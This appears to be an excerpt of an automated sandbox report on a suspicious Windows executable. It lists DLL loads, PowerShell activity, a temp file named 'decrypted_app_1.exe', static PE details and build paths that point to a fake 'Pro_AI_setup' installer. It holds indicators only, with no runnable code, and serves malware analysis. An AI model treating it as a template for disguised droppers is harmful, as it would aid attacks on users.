Source: C:\Users\user\Desktop\mDHwap5GlV.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\mDHwap5GlV.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\mDHwap5GlV.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Users\user\Desktop\mDHwap5GlV.exe	Section loaded: devobj.dll	Jump to behavior
Source: C:\Users\user\Desktop\mDHwap5GlV.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\mDHwap5GlV.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\mDHwap5GlV.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\mDHwap5GlV.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\mDHwap5GlV.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\mDHwap5GlV.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\mDHwap5GlV.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\mDHwap5GlV.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\mDHwap5GlV.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\mDHwap5GlV.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\mDHwap5GlV.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\mDHwap5GlV.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\mDHwap5GlV.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\mDHwap5GlV.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\mDHwap5GlV.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\Desktop\mDHwap5GlV.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\mDHwap5GlV.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\mDHwap5GlV.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\mDHwap5GlV.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\mDHwap5GlV.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\mDHwap5GlV.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\mDHwap5GlV.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\mDHwap5GlV.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\decrypted_app_1.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\decrypted_app_1.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\decrypted_app_1.exe	Section loaded: msimg32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\decrypted_app_1.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\decrypted_app_1.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\decrypted_app_1.exe	Section loaded: shfolder.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\decrypted_app_1.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\decrypted_app_1.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Microsoft Shared\ink\pipanel.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Microsoft Shared\ink\pipanel.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Microsoft Shared\ink\pipanel.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Microsoft Shared\ink\pipanel.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Microsoft Shared\ink\pipanel.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Microsoft Shared\ink\pipanel.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Microsoft Shared\ink\pipanel.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Microsoft Shared\ink\pipanel.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Microsoft Shared\ink\pipanel.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Microsoft Shared\ink\pipanel.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Microsoft Shared\ink\pipanel.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Microsoft Shared\ink\pipanel.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Microsoft Shared\ink\pipanel.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Microsoft Shared\ink\pipanel.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Microsoft Shared\ink\pipanel.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Microsoft Shared\ink\pipanel.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Microsoft Shared\ink\pipanel.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Microsoft Shared\ink\pipanel.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Microsoft Shared\ink\pipanel.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Microsoft Shared\ink\pipanel.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Microsoft Shared\ink\pipanel.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Microsoft Shared\ink\pipanel.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Microsoft Shared\ink\pipanel.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Microsoft Shared\ink\pipanel.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Microsoft Shared\ink\pipanel.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Microsoft Shared\ink\pipanel.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Microsoft Shared\ink\pipanel.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Microsoft Shared\ink\pipanel.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Microsoft Shared\ink\pipanel.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Microsoft Shared\ink\pipanel.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Microsoft Shared\ink\pipanel.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Microsoft Shared\ink\pipanel.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Microsoft Shared\ink\pipanel.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Microsoft Shared\ink\pipanel.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Microsoft Shared\ink\pipanel.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Microsoft Shared\ink\pipanel.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Microsoft Shared\ink\pipanel.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source: mDHwap5GlV.exe

Static PE information: certificate valid

Source: mDHwap5GlV.exe

Static PE information: Virtual size of .text is bigger than: 0x100000

Source: mDHwap5GlV.exe

Static file information: File size 62920824 > 1048576

Source: mDHwap5GlV.exe	Static PE information: Raw size of .text is bigger than: 0x100000 < 0x520400
Source: mDHwap5GlV.exe	Static PE information: Raw size of .rdata is bigger than: 0x100000 < 0x138a00
Source: mDHwap5GlV.exe	Static PE information: Raw size of .rsrc is bigger than: 0x100000 < 0x14f600

Source: mDHwap5GlV.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
Source: mDHwap5GlV.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: mDHwap5GlV.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: mDHwap5GlV.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: mDHwap5GlV.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
Source: mDHwap5GlV.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT

Source: mDHwap5GlV.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, GUARD_CF, TERMINAL_SERVER_AWARE

Source: mDHwap5GlV.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Linq.Expressions\Release\net7.0\System.Linq.Expressions.pdb source: mDHwap5GlV.exe, mDHwap5GlV.exe, 00000000.00000002.2586676294.000000000A3E1000.00000020.00000001.00040000.00000003.sdmp, mDHwap5GlV.exe, 00000000.00000002.2586356950.000000000A070000.00000002.00000001.00040000.00000003.sdmp
Source:	Binary string: System.Net.Sockets.ni.pdb source: mDHwap5GlV.exe, 00000000.00000002.2610251919.000000000E1E0000.00000002.00000001.00040000.00000003.sdmp, mDHwap5GlV.exe, 00000000.00000002.2610536524.000000000E271000.00000020.00000001.00040000.00000003.sdmp
Source:	Binary string: /_/Src/Newtonsoft.Json/obj/Release/net6.0/Newtonsoft.Json.pdb source: mDHwap5GlV.exe, 00000000.00000002.2583710420.0000000009BA0000.00000002.00000001.00040000.00000003.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Linq\Release\net7.0\System.Linq.pdbSHA256#0$B source: mDHwap5GlV.exe, 00000000.00000002.2587665887.000000000A930000.00000002.00000001.00040000.00000003.sdmp, mDHwap5GlV.exe, 00000000.00000002.2587777590.000000000A9B1000.00000020.00000001.00040000.00000003.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Net.ServicePoint\Release\net7.0\System.Net.ServicePoint.pdbSHA256 source: mDHwap5GlV.exe, 00000000.00000002.2610251919.000000000E1E0000.00000002.00000001.00040000.00000003.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Net.NameResolution\Release\net7.0-windows\System.Net.NameResolution.pdbSHA256A source: mDHwap5GlV.exe, 00000000.00000002.2612038536.000000000E351000.00000020.00000001.00040000.00000003.sdmp, mDHwap5GlV.exe, 00000000.00000002.2611890775.000000000E320000.00000002.00000001.00040000.00000003.sdmp
Source:	Binary string: Microsoft.Win32.Registry.ni.pdb source: mDHwap5GlV.exe
Source:	Binary string: wntdll.pdb source: decrypted_app_1.exe, 00000007.00000002.3101125278.00000000030E0000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: /_/artifacts/obj/Microsoft.VisualBasic/Release/net7.0-windows/Microsoft.VisualBasic.pdbSHA2565 source: mDHwap5GlV.exe
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Net.Quic\Release\net7.0-windows\System.Net.Quic.pdb source: mDHwap5GlV.exe, 00000000.00000002.2607352936.000000000DCF0000.00000002.00000001.00040000.00000003.sdmp, mDHwap5GlV.exe, 00000000.00000002.2607441531.000000000DD41000.00000020.00000001.00040000.00000003.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Collections.Concurrent\Release\net7.0\System.Collections.Concurrent.pdbSHA256 source: mDHwap5GlV.exe
Source:	Binary string: System.Net.Security.ni.pdb source: mDHwap5GlV.exe, 00000000.00000002.2593612711.000000000C991000.00000020.00000001.00040000.00000003.sdmp, mDHwap5GlV.exe, 00000000.00000002.2593507496.000000000C900000.00000002.00000001.00040000.00000003.sdmp
Source:	Binary string: /_/artifacts/obj/System.Management/Release/net7.0-windows/System.Management.pdb source: mDHwap5GlV.exe, 00000000.00000002.2609096644.000000000DEF0000.00000002.00000001.00040000.00000003.sdmp
Source:	Binary string: /_/artifacts/obj/Microsoft.VisualBasic/Release/net7.0-windows/Microsoft.VisualBasic.pdb source: mDHwap5GlV.exe
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Diagnostics.DiagnosticSource\Release\net7.0\System.Diagnostics.DiagnosticSource.pdb source: mDHwap5GlV.exe, 00000000.00000002.2593292915.000000000C830000.00000002.00000001.00040000.00000003.sdmp, mDHwap5GlV.exe, 00000000.00000002.2593385471.000000000C8A1000.00000020.00000001.00040000.00000003.sdmp
Source:	Binary string: System.Diagnostics.DiagnosticSource.ni.pdba source: mDHwap5GlV.exe, 00000000.00000002.2593292915.000000000C830000.00000002.00000001.00040000.00000003.sdmp, mDHwap5GlV.exe, 00000000.00000002.2593385471.000000000C8A1000.00000020.00000001.00040000.00000003.sdmp
Source:	Binary string: /_/artifacts/obj/System.CodeDom/Release/net7.0/System.CodeDom.pdb source: mDHwap5GlV.exe, 00000000.00000002.2609096644.000000000DEF0000.00000002.00000001.00040000.00000003.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Buffers\Release\net7.0\System.Buffers.pdb source: mDHwap5GlV.exe
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\coreclr\System.Private.CoreLib\x86\Release\System.Private.CoreLib.pdb source: mDHwap5GlV.exe, 00000000.00000002.2579250660.0000000008DC1000.00000020.00000001.00040000.00000003.sdmp, mDHwap5GlV.exe, 00000000.00000002.2577048094.0000000008330000.00000002.00000001.00040000.00000003.sdmp
Source:	Binary string: C:\Users\Administrator\Desktop\DayDerry\Pro_AI_setup_v_1.03\obj\Release\net7.0\win-x86\Pro_AI_setup_v_1.03.pdbSHA256 source: mDHwap5GlV.exe
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\coreclr\windows.x86.Release\dlls\mscordac\mscordaccore.pdb source: mDHwap5GlV.exe
Source:	Binary string: System.Linq.ni.pdb source: mDHwap5GlV.exe, 00000000.00000002.2587665887.000000000A930000.00000002.00000001.00040000.00000003.sdmp, mDHwap5GlV.exe, 00000000.00000002.2587777590.000000000A9B1000.00000020.00000001.00040000.00000003.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Runtime.InteropServices.RuntimeInformation\Release\net7.0\System.Runtime.InteropServices.RuntimeInformation.pdbSHA256 source: mDHwap5GlV.exe, 00000000.00000002.2604580772.000000000D410000.00000002.00000001.00040000.00000003.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Memory\Release\net7.0\System.Memory.pdbSHA256oY source: mDHwap5GlV.exe, 00000000.00000002.2604929693.000000000D481000.00000020.00000001.00040000.00000003.sdmp, mDHwap5GlV.exe, 00000000.00000002.2604788493.000000000D440000.00000002.00000001.00040000.00000003.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Collections.Immutable\Release\net7.0\System.Collections.Immutable.pdb source: mDHwap5GlV.exe
Source:	Binary string: System.Collections.ni.pdb source: mDHwap5GlV.exe, 00000000.00000002.2605844050.000000000D521000.00000020.00000001.00040000.00000003.sdmp, mDHwap5GlV.exe, 00000000.00000002.2605777963.000000000D4D0000.00000002.00000001.00040000.00000003.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Threading.Thread\Release\net7.0\System.Threading.Thread.pdbSHA256 source: mDHwap5GlV.exe, 00000000.00000002.2607545242.000000000DD80000.00000002.00000001.00040000.00000003.sdmp, mDHwap5GlV.exe, 00000000.00000002.2609058208.000000000DEE0000.00000002.00000001.00040000.00000003.sdmp, mDHwap5GlV.exe, 00000000.00000002.2595889586.000000000D010000.00000002.00000001.00040000.00000003.sdmp
Source:	Binary string: System.Net.ServicePoint.ni.pdb>i source: mDHwap5GlV.exe, 00000000.00000002.2610251919.000000000E1E0000.00000002.00000001.00040000.00000003.sdmp
Source:	Binary string: System.Private.CoreLib.ni.pdb source: mDHwap5GlV.exe, 00000000.00000002.2579250660.0000000008DC1000.00000020.00000001.00040000.00000003.sdmp, mDHwap5GlV.exe, 00000000.00000002.2577048094.0000000008330000.00000002.00000001.00040000.00000003.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Diagnostics.Process\Release\net7.0-windows\System.Diagnostics.Process.pdb source: mDHwap5GlV.exe, 00000000.00000002.2607643100.000000000DDB0000.00000002.00000001.00040000.00000003.sdmp, mDHwap5GlV.exe, 00000000.00000002.2607711334.000000000DE01000.00000020.00000001.00040000.00000003.sdmp
Source:	Binary string: System.Collections.Specialized.ni.pdb source: mDHwap5GlV.exe, 00000000.00000002.2620268309.000000000E7F0000.00000002.00000001.00040000.00000003.sdmp, mDHwap5GlV.exe, 00000000.00000002.2620375104.000000000E811000.00000020.00000001.00040000.00000003.sdmp
Source:	Binary string: /_/artifacts/obj/System.Data/Release/net7.0-windows/System.Data.pdb source: mDHwap5GlV.exe, 00000000.00000002.2593292915.000000000C830000.00000002.00000001.00040000.00000003.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Diagnostics.Contracts\Release\net7.0\System.Diagnostics.Contracts.pdb source: mDHwap5GlV.exe, 00000000.00000002.2593292915.000000000C830000.00000002.00000001.00040000.00000003.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Threading.Timer\Release\net7.0\System.Threading.Timer.pdbSHA256 source: mDHwap5GlV.exe, 00000000.00000002.2595889586.000000000D010000.00000002.00000001.00040000.00000003.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Collections\Release\net7.0\System.Collections.pdb source: mDHwap5GlV.exe, 00000000.00000002.2605844050.000000000D521000.00000020.00000001.00040000.00000003.sdmp, mDHwap5GlV.exe, 00000000.00000002.2605777963.000000000D4D0000.00000002.00000001.00040000.00000003.sdmp
Source:	Binary string: /_/artifacts/obj/System.Data/Release/net7.0-windows/System.Data.pdbSHA256 source: mDHwap5GlV.exe, 00000000.00000002.2593292915.000000000C830000.00000002.00000001.00040000.00000003.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.IO\Release\net7.0\System.IO.pdb source: mDHwap5GlV.exe, 00000000.00000002.2586356950.000000000A070000.00000002.00000001.00040000.00000003.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.IO\Release\net7.0\System.IO.pdbSHA256w source: mDHwap5GlV.exe, 00000000.00000002.2586356950.000000000A070000.00000002.00000001.00040000.00000003.sdmp
Source:	Binary string: /_/artifacts/obj/System.Configuration/Release/net7.0-windows/System.Configuration.pdbSHA256 source: mDHwap5GlV.exe, 00000000.00000002.2585865823.0000000009D10000.00000002.00000001.00040000.00000003.sdmp
Source:	Binary string: wntdll.pdbUGP source: decrypted_app_1.exe, 00000007.00000002.3101125278.00000000030E0000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Diagnostics.Debug\Release\net7.0\System.Diagnostics.Debug.pdbSHA256 source: mDHwap5GlV.exe, 00000000.00000002.2593292915.000000000C830000.00000002.00000001.00040000.00000003.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Threading.Overlapped\Release\net7.0\System.Threading.Overlapped.pdbSHA256 source: mDHwap5GlV.exe, 00000000.00000002.2611810679.000000000E300000.00000002.00000001.00040000.00000003.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.IO.UnmanagedMemoryStream\Release\net7.0\System.IO.UnmanagedMemoryStream.pdb source: mDHwap5GlV.exe, 00000000.00000002.2586356950.000000000A070000.00000002.00000001.00040000.00000003.sdmp
Source:	Binary string: System.Collections.Immutable.ni.pdb source: mDHwap5GlV.exe
Source:	Binary string: C:\Users\Administrator\Desktop\DayDerry\Pro_AI_setup_v_1.03\obj\Release\net7.0\win-x86\Pro_AI_setup_v_1.03.pdb source: mDHwap5GlV.exe
Source:	Binary string: System.Net.NameResolution.ni.pdb source: mDHwap5GlV.exe, 00000000.00000002.2612038536.000000000E351000.00000020.00000001.00040000.00000003.sdmp, mDHwap5GlV.exe, 00000000.00000002.2611890775.000000000E320000.00000002.00000001.00040000.00000003.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Collections.Specialized\Release\net7.0\System.Collections.Specialized.pdb source: mDHwap5GlV.exe, 00000000.00000002.2620268309.000000000E7F0000.00000002.00000001.00040000.00000003.sdmp, mDHwap5GlV.exe, 00000000.00000002.2620375104.000000000E811000.00000020.00000001.00040000.00000003.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Runtime\Release\net7.0\System.Runtime.pdbSHA256 source: mDHwap5GlV.exe, 00000000.00000002.2582770722.0000000009AB0000.00000002.00000001.00040000.00000003.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\Microsoft.VisualBasic.Core\Release\net7.0-windows\Microsoft.VisualBasic.Core.pdb source: mDHwap5GlV.exe
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Net.Quic\Release\net7.0-windows\System.Net.Quic.pdbSHA256: source: mDHwap5GlV.exe, 00000000.00000002.2607352936.000000000DCF0000.00000002.00000001.00040000.00000003.sdmp, mDHwap5GlV.exe, 00000000.00000002.2607441531.000000000DD41000.00000020.00000001.00040000.00000003.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Diagnostics.Tracing\Release\net7.0\System.Diagnostics.Tracing.pdb source: mDHwap5GlV.exe, 00000000.00000002.2592357978.000000000C7E0000.00000002.00000001.00040000.00000003.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Runtime.InteropServices\Release\net7.0\System.Runtime.InteropServices.pdb source: mDHwap5GlV.exe, 00000000.00000002.2604580772.000000000D410000.00000002.00000001.00040000.00000003.sdmp, mDHwap5GlV.exe, 00000000.00000002.2604677499.000000000D431000.00000020.00000001.00040000.00000003.sdmp
Source:	Binary string: System.Private.CoreLib.ni.pdb[ source: mDHwap5GlV.exe, 00000000.00000002.2579250660.0000000008DC1000.00000020.00000001.00040000.00000003.sdmp, mDHwap5GlV.exe, 00000000.00000002.2577048094.0000000008330000.00000002.00000001.00040000.00000003.sdmp
Source:	Binary string: System.Net.Quic.ni.pdb source: mDHwap5GlV.exe, 00000000.00000002.2607352936.000000000DCF0000.00000002.00000001.00040000.00000003.sdmp, mDHwap5GlV.exe, 00000000.00000002.2607441531.000000000DD41000.00000020.00000001.00040000.00000003.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Threading\Release\net7.0\System.Threading.pdb source: mDHwap5GlV.exe, 00000000.00000002.2595889586.000000000D010000.00000002.00000001.00040000.00000003.sdmp, mDHwap5GlV.exe, 00000000.00000002.2595974127.000000000D041000.00000020.00000001.00040000.00000003.sdmp
Source:	Binary string: System.Diagnostics.DiagnosticSource.ni.pdb source: mDHwap5GlV.exe, 00000000.00000002.2593292915.000000000C830000.00000002.00000001.00040000.00000003.sdmp, mDHwap5GlV.exe, 00000000.00000002.2593385471.000000000C8A1000.00000020.00000001.00040000.00000003.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Threading.Timer\Release\net7.0\System.Threading.Timer.pdb source: mDHwap5GlV.exe, 00000000.00000002.2595889586.000000000D010000.00000002.00000001.00040000.00000003.sdmp
Source:	Binary string: System.Threading.ni.pdb source: mDHwap5GlV.exe, 00000000.00000002.2595889586.000000000D010000.00000002.00000001.00040000.00000003.sdmp, mDHwap5GlV.exe, 00000000.00000002.2595974127.000000000D041000.00000020.00000001.00040000.00000003.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.AppContext\Release\net7.0\System.AppContext.pdbSHA256 source: mDHwap5GlV.exe
Source:	Binary string: System.Net.ServicePoint.ni.pdb source: mDHwap5GlV.exe, 00000000.00000002.2610251919.000000000E1E0000.00000002.00000001.00040000.00000003.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\Microsoft.CSharp\Release\net7.0-windows\Microsoft.CSharp.pdb source: mDHwap5GlV.exe
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Security.Cryptography.Primitives\Release\net7.0\System.Security.Cryptography.Primitives.pdbSHA256 source: mDHwap5GlV.exe, 00000000.00000002.2593821344.000000000CA20000.00000002.00000001.00040000.00000003.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Collections.Concurrent\Release\net7.0\System.Collections.Concurrent.pdb source: mDHwap5GlV.exe
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Security.Cryptography.Primitives\Release\net7.0\System.Security.Cryptography.Primitives.pdb source: mDHwap5GlV.exe, 00000000.00000002.2593821344.000000000CA20000.00000002.00000001.00040000.00000003.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Memory\Release\net7.0\System.Memory.pdb source: mDHwap5GlV.exe, 00000000.00000002.2604929693.000000000D481000.00000020.00000001.00040000.00000003.sdmp, mDHwap5GlV.exe, 00000000.00000002.2604788493.000000000D440000.00000002.00000001.00040000.00000003.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Net.NameResolution\Release\net7.0-windows\System.Net.NameResolution.pdb source: mDHwap5GlV.exe, 00000000.00000002.2612038536.000000000E351000.00000020.00000001.00040000.00000003.sdmp, mDHwap5GlV.exe, 00000000.00000002.2611890775.000000000E320000.00000002.00000001.00040000.00000003.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Diagnostics.Tracing\Release\net7.0\System.Diagnostics.Tracing.pdbSHA256q source: mDHwap5GlV.exe, 00000000.00000002.2592357978.000000000C7E0000.00000002.00000001.00040000.00000003.sdmp
